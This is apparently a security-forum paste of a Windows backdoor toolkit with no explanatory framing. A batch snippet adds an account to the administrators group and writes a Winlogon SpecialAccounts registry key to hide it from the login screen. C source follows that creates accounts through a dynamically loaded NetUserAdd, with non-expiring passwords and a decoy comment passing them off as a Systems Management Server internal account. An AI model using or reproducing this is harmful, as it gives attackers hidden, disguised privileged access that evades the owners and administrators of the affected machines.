http://www.governmentsecurity.org/forum/index.php?act=Attach&type=post&id=2814

net user HIDDEN-USER /add
net localgroup administrators Raffye /add

@echo Windows Registry Editor Version 5.00>%SystemRoot%\tmp.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%SystemRoot%\tmp.reg
@echo "Raffye"=dword:00000000>>%SystemRoot%\tmp.reg
regedit /s %SystemRoot%\tmp.reg

Del %SystemRoot%\tmp.reg

#pragma hdrstop
#include <condefs.h>
#include <stdio.h>
#include <windows.h>
#include <lm.h>

#define DEBUG 0

// Pointer to Function with 4 params and a return Value
typedef NET_API_STATUS (*ptrNetUserAdd)(LMSTR, DWORD, LPBYTE, LPDWORD);
typedef NET_API_STATUS (*ptrNetUserGetInfo)(LPWSTR, LPWSTR, DWORD, LPBYTE);

#pragma argsused
int main(int argc, char *argv[])
{
//   HANDLE handleDLL;             // Handle to DLL
  HINSTANCE handleDLL;             // Handle to DLL
  ptrNetUserAdd NetUserAdd;
  ptrNetUserGetInfo NetUserGetInfo;
  USER_INFO_1 ui;
  DWORD dwError = 0;
  NET_API_STATUS nStatus;

  WCHAR usrName[256];
  WCHAR usrPassWord[256];
  int len;

#if DEBUG
  argc = 3;
  argv[1] = "Erion";
  argv[2] = "testPass";
#endif

  if (argc != 3)
  {
     printf("Usage: %s UserName Password\n", argv[0]);
     exit(1);
  }

  printf("\n%s coded by Erion for Minted\n\n", argv[0]);

  handleDLL = LoadLibrary("netapi32.dll");   // Load the desired DLL
   
  if (handleDLL != NULL)
  {
     NetUserAdd = (ptrNetUserAdd)GetProcAddress(handleDLL, "NetUserAdd");   // Search the Addres of the Function
     if(NetUserAdd)
     {
           // Convert the strings from ASCII to UNICODE
           len = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, argv[1], -1, 0, 0);
           MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, argv[1], -1, usrName, len);
           len = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, argv[2], -1, 0, 0);
           MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, argv[2], -1, usrPassWord, len);

           ui.usri1_name = usrName;
           ui.usri1_password = usrPassWord;
           ui.usri1_priv = USER_PRIV_USER;
           ui.usri1_home_dir = NULL;
           ui.usri1_comment = L"DO NOT MODIFY.  Systems Management Server Internal Account";
           ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
           ui.usri1_script_path = NULL;
           // call the function
           nStatus = NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);
           if(nStatus != NERR_Success)
           {              
              switch(nStatus)
              {
                 case ERROR_ACCESS_DENIED: printf("ACCESS DENIED.\n");break;
                 case NERR_InvalidComputer:printf("The computer name is invalid.\n");break;
                 case NERR_NotPrimary:printf("The operation is allowed only on the primary domain controller of the domain.\n");break;
                 case NERR_GroupExists:printf("The group already exists.\n");break;
                 case NERR_UserExists:printf("The user account already exists.\n");break;
                 case NERR_PasswordTooShort:printf("The password is shorter than required.\n");break;
                 default: printf("Unknown Error %d!\n", dwError);break;
              }
           }
           else
              printf("User %s added succesfully\n", argv[1]);
      }
      else
        printf("Couldn't get the NetUserAdd Address\n");
  }
  else
     printf("LoadLibrary() failed for netapi32.dll\n");

  FreeLibrary(handleDLL);
}